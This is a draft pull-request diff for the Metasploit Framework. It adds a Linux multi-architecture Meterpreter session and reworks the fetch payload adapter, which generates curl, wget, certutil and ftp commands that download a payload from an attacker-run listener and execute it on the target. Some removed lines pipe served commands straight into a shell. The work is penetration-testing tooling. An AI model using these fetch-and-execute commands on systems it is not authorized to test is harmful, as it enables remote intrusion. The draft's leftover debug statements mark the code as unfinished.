Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions lib/msf/base/sessions/meterpreter_multi_linux.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# -*- coding: binary -*-

module Msf
module Sessions
###
#
# This class creates a platform-specific, architecture agnostic meterpreter session type
#
###
class MeterpreterMultiLinux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end

def supports_zlib?
false
end

def initialize(rstream, opts = {})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ANY # will be populated automatically
end
end
end
end
198 changes: 83 additions & 115 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
module Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Fileless
include Msf::Payload::Adapter::Fetch::Pipe

# Initializes the fetch adapter state and registers datastore options used to
# stage and serve the adapted payload.
Expand All @@ -24,9 +25,12 @@ def initialize(*args)
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
]
)
deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME')
@fetch_service = nil
@multi_arch = nil
@myresources = []
@srvexe = ''
@srv_resources = []
@pipe_uri = nil
@pipe_cmd = nil
@remote_destination_win = nil
Expand Down Expand Up @@ -76,8 +80,8 @@ def default_srvuri(extra_data = nil)
# Returns the payload download URI served by the fetch listener.
#
# @return [String] The URI path and authority for the generated payload.
def download_uri
"#{srvnetloc}/#{srvuri}"
def download_uri(uri)
"#{srvnetloc}/#{uri}"
end

# Returns the pipe download URI used when serving commands over FETCH_PIPE.
Expand All @@ -100,7 +104,16 @@ def fetch_bindhost
def fetch_bindport
datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end


def add_srv_entry(uri, data, opts)
srv_entry = {
:opts => opts,
:uri => uri,
:data => data
}
@srv_resources << srv_entry
end

# Returns the authority string used by the fetch listener socket.
#
# @return [String] The host:port pair for the fetch listener.
Expand All @@ -118,70 +131,73 @@ def pipe_supported_binaries
%w[WGET GET CURL]
end

# Builds an adapted payload executable, starts any required pipe command state,
# and returns the remote command that should fetch and execute the payload.
#
# @param opts [Hash] Payload generation options.
# @return [String] The fetch command to run on the target.
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
opts[:code] = super
@srvexe = generate_payload_exe(opts)
if datastore['FETCH_PIPE']
unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
end
@pipe_cmd = generate_fetch_commands
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
vprint_status("Command served: #{@pipe_cmd}")
cmd = generate_pipe_command
if opts[:dynamic_arch].nil?
# on the first call, dynamic_arch should not be set, so just move along
generate_fetch(opts)
else
cmd = generate_fetch_commands
# we've already generated the fetch command stuff but we did not know the
# arch until we got the http request from a multi/meterpreter_reverse_tcp payload.
# now, we just call super because the real arch is already in opts[:arch]
super(opts)
end
vprint_status("Command to run on remote host: #{cmd}")
cmd
end

# Builds the fetch command used to execute a payload directly from a pipe.
#
# @return [String] The pipe-based execution command.
def generate_pipe_command
# TODO: Make a check method that determines if we support a platform/server/command combination
@pipe_uri = pipe_srvuri

case datastore['FETCH_COMMAND'].upcase
when 'WGET'
return _generate_wget_pipe
when 'GET'
return _generate_get_pipe
when 'CURL'
return _generate_curl_pipe
def generate_fetch(opts = {})
vprint_status("#{__method__}:#{__LINE__}")
opts[:arch] ||= module_info['AdaptedArch']
vprint_status "#{__LINE__}"
if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux'
vprint_status "#{__LINE__}"
opts[:dynamic_arch] = true
# if we don't have a valid arch, let's just put a placeholder in the data location
add_srv_entry(srvuri, 'x', opts)
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
vprint_status "#{__LINE__}"
opts[:dynamic_arch] = false
super(opts)
# if we do have a valid arch, let's generate it now
# so if it fails we know before the exploit runs
add_srv_entry(srvuri, generate_payload_exe(opts), opts)
end

vprint_status "#{__LINE__}"
cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch])
if datastore['FETCH_PIPE']
vprint_status "#{__LINE__}"
unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
end
cmd << '\n' if windows? # Needs CR for Windows command
add_srv_entry(pipe_srvuri, cmd, opts)
cmd = generate_pipe_command(pipe_srvuri)
end
vprint_status "#{__LINE__}"
vprint_status("Command to execute on target: #{cmd}")
cmd
end

# Dispatches command generation to the selected FETCH_COMMAND helper.
#
# @return [String] The generated fetch-and-execute command.
def generate_fetch_commands
def generate_fetch_commands(uri, dynamic_arch)
# TODO: Make a check method that determines if we support a platform/server/command combination
#
vprint_status "#{__method__}"
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return _generate_ftp_command
return _generate_ftp_command(uri)
when 'TNFTP'
return _generate_tnftp_command
return _generate_tnftp_command(uri)
when 'WGET'
return _generate_wget_command
when 'GET'
return _generate_get_command
return _generate_wget_command(uri, dynamic_arch)
when 'CURL'
return _generate_curl_command
return _generate_curl_command(uri, dynamic_arch)
when 'TFTP'
return _generate_tftp_command
return _generate_tftp_command(uri)
when 'CERTUTIL'
return _generate_certutil_command
return _generate_certutil_command(uri)
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
Expand All @@ -194,6 +210,7 @@ def generate_fetch_commands
# @return [String] The generated stage contents.
def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
conf[:arch] = @multi_arch unless @multi_arch.nil?
super
end

Expand All @@ -204,6 +221,7 @@ def generate_stage(opts = {})
# @return [PayloadUUID] The generated payload UUID.
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:arch] = @multi_arch unless @multi_arch.nil?
conf[:platform] ||= module_info['AdaptedPlatform']
super
end
Expand Down Expand Up @@ -376,10 +394,10 @@ def _execute_nix(get_file_cmd)
# Builds a certutil-based command line for fetching the payload on Windows.
#
# @return [String] The certutil fetch-and-execute command.
def _generate_certutil_command
def _generate_certutil_command(uri)
case fetch_protocol
when 'HTTP'
get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}"
when 'HTTPS'
# I don't think there is a way to disable cert check in certutil....
print_error('CERTUTIL binary does not support insecure mode')
Expand All @@ -393,90 +411,53 @@ def _generate_certutil_command
# Builds a curl-based command line for fetching the payload.
#
# @return [String] The curl fetch-and-execute command.
def _generate_curl_command
def _generate_curl_command(uri, dynamic_arch)
case fetch_protocol
when 'HTTP'
get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}"
get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}"
get_file_cmd << "?arch=$(uname -m)" if dynamic_arch
when 'HTTPS'
get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}"
when 'TFTP'
get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_execute_add(get_file_cmd)
end

# Builds a curl command that streams a served command directly into a shell.
#
# @return [String] The curl pipe command.
def _generate_curl_pipe
execute_cmd = 'sh'
execute_cmd = 'cmd' if windows?
case fetch_protocol
when 'HTTP'
return "curl -s http://#{_download_pipe}|#{execute_cmd}"
when 'HTTPS'
return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end

# Builds a GET-based command line for fetching the payload.
#
# @return [String] The GET fetch-and-execute command.
def _generate_get_command
def _generate_get_command(uri)
# Specifying the method (-m GET) is necessary on OSX
case fetch_protocol
when 'HTTP'
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET -m GET https://#{download_uri(uri)}>#{_remote_destination}"
when 'FTP'
get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET ftp://#{download_uri(uri)}>#{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
_execute_add(get_file_cmd)
end

# Builds a GET command that streams a served command directly into a shell.
#
# @return [String] The GET pipe command.
def _generate_get_pipe
# Specifying the method (-m GET) is necessary on OSX
execute_cmd = 'sh'
execute_cmd = 'cmd' if windows?
case fetch_protocol
when 'HTTP'
return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
when 'FTP'
return "GET ftp://#{_download_pipe}|#{execute_cmd}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end

# Builds an ftp command line for fetching the payload.
#
# @return [String] The ftp fetch-and-execute command.
def _generate_ftp_command
def _generate_ftp_command(uri)
case fetch_protocol
when 'FTP'
get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}"
when 'HTTP'
get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}"
when 'HTTPS'
get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
Expand Down Expand Up @@ -527,33 +508,20 @@ def _generate_tnftp_command
# Builds a wget-based command line for fetching the payload.
#
# @return [String] The wget fetch-and-execute command.
def _generate_wget_command
def _generate_wget_command(uri, dynamic_arch)
case fetch_protocol
when 'HTTPS'
get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}"

when 'HTTP'
get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end

get_file_cmd << "?arch=$(uname -m)" if dynamic_arch
_execute_add(get_file_cmd)
end

# Builds a wget command that streams a served command directly into a shell.
#
# @return [String] The wget pipe command.
def _generate_wget_pipe
case fetch_protocol
when 'HTTPS'
return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
when 'HTTP'
return "wget -qO- http://#{_download_pipe}|sh"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end

# Returns the platform-appropriate destination path used by download
# commands.
#
Expand Down
13 changes: 8 additions & 5 deletions lib/msf/core/payload/adapter/fetch/http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,14 +20,17 @@ def cleanup_handler

def setup_handler
unless datastore['FetchHandlerDisable']
vprint_status("#{__method__}:#{__LINE__}")
@fetch_service = start_http_fetch_handler(srvname)
escaped_uri = ('/' + srvuri).gsub('//', '/')
add_resource(@fetch_service, escaped_uri, @srvexe)
unless @pipe_uri.nil?
uri = ('/' + @pipe_uri).gsub('//', '/')
add_resource(@fetch_service, uri, @pipe_cmd)
@srv_resources.each do |srv_entry|
vprint_status("#{__method__}:#{__LINE__}")
escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/')
@myresources << escaped_uri
add_resource(@fetch_service, escaped_uri, srv_entry)
vprint_status("#{__method__}:#{__LINE__}")
end
end
super
end

end
Loading
Loading